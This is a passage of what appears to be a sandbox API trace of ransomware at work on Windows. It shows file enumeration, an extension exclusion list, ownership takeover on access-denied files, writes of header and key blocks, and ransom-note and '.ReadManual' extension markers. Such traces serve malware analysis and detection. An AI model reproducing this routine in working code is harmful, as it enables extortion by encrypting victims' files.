dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.691] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=24557) returned 1 [0252.691] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fed, lpName=0x0) returned 0x1a0 [0252.691] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0252.696] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.696] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.698] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.698] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5fed) returned 0x2f0000 [0252.698] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37336721653) returned 1 [0252.698] CloseHandle (hObject=0x1a0) returned 1 [0252.699] SetSecurityInfo () returned 0x5 [0252.699] SetSecurityInfo () returned 0x5 [0252.699] LocalFree (hMem=0x674d38) returned 0x0 [0252.699] CloseHandle (hObject=0x184) returned 1 [0252.699] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.699] lstrcpyW (in: lpString1=0x6ab918, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0252.699] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.699] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.699] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.699] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.699] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.699] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.699] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.699] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.699] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" [0252.699] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0252.699] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 114 [0252.699] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37336816436) returned 1 [0252.699] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0252.700] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.700] GetLastError () returned 0x5 [0252.700] GetNamedSecurityInfoW () returned 0x0 [0252.700] SetNamedSecurityInfoW () returned 0x0 [0252.701] SetNamedSecurityInfoW () returned 0x0 [0252.702] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.702] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0252.702] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0252.703] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf4) returned 1 [0252.703] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.703] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.705] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.705] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0252.705] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37337411439) returned 1 [0252.705] CloseHandle (hObject=0x1a0) returned 1 [0252.705] SetSecurityInfo () returned 0x5 [0252.706] SetSecurityInfo () returned 0x5 [0252.706] LocalFree (hMem=0x674d38) returned 0x0 [0252.706] CloseHandle (hObject=0x184) returned 1 [0252.706] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.706] lstrcpyW (in: lpString1=0x6ab918, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0252.706] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.706] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.706] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.706] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.706] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.706] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.706] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.707] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.707] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.707] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.707] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.707] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.707] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.707] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.707] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.707] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.707] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" [0252.707] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0252.707] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 120 [0252.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37337563723) returned 1 [0252.707] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.708] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.708] GetLastError () returned 0x5 [0252.708] GetNamedSecurityInfoW () returned 0x0 [0252.708] SetNamedSecurityInfoW () returned 0x0 [0252.709] SetNamedSecurityInfoW () returned 0x0 [0252.710] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.710] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0252.710] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0252.710] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x100) returned 1 [0252.711] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.711] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.713] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.713] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0252.713] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.713] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37338183179) returned 1 [0252.713] CloseHandle (hObject=0x1a0) returned 1 [0252.713] SetSecurityInfo () returned 0x5 [0252.713] SetSecurityInfo () returned 0x5 [0252.713] LocalFree (hMem=0x674d38) returned 0x0 [0252.713] CloseHandle (hObject=0x184) returned 1 [0252.714] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.714] lstrcpyW (in: lpString1=0x6ab918, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0252.714] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.714] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.714] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.714] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.714] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.714] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.714] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.714] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.714] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" [0252.715] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0252.715] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 115 [0252.715] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37338464006) returned 1 [0252.716] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0252.717] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.717] GetLastError () returned 0x5 [0252.717] GetNamedSecurityInfoW () returned 0x0 [0252.717] SetNamedSecurityInfoW () returned 0x0 [0252.718] SetNamedSecurityInfoW () returned 0x0 [0252.719] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.719] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0252.719] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0252.719] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0252.720] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.720] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.722] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.722] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0252.722] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37339070529) returned 1 [0252.722] CloseHandle (hObject=0x1a0) returned 1 [0252.722] SetSecurityInfo () returned 0x5 [0252.722] SetSecurityInfo () returned 0x5 [0252.722] LocalFree (hMem=0x674d38) returned 0x0 [0252.722] CloseHandle (hObject=0x184) returned 1 [0252.722] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.722] lstrcpyW (in: lpString1=0x6ab918, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0252.722] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.722] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.722] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.722] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.722] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.723] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.723] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.723] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.723] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.723] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.723] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" [0252.723] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0252.723] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 121 [0252.723] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37339168928) returned 1 [0252.723] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.724] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.724] GetLastError () returned 0x5 [0252.724] GetNamedSecurityInfoW () returned 0x0 [0252.724] SetNamedSecurityInfoW () returned 0x0 [0252.725] SetNamedSecurityInfoW () returned 0x0 [0252.726] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.726] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0252.726] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0252.726] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x102) returned 1 [0252.727] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.727] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.729] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.729] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0252.729] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37339789484) returned 1 [0252.729] CloseHandle (hObject=0x1a0) returned 1 [0252.729] SetSecurityInfo () returned 0x5 [0252.729] SetSecurityInfo () returned 0x5 [0252.729] LocalFree (hMem=0x674d38) returned 0x0 [0252.729] CloseHandle (hObject=0x184) returned 1 [0252.730] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.730] lstrcpyW (in: lpString1=0x6ab918, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0252.730] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", 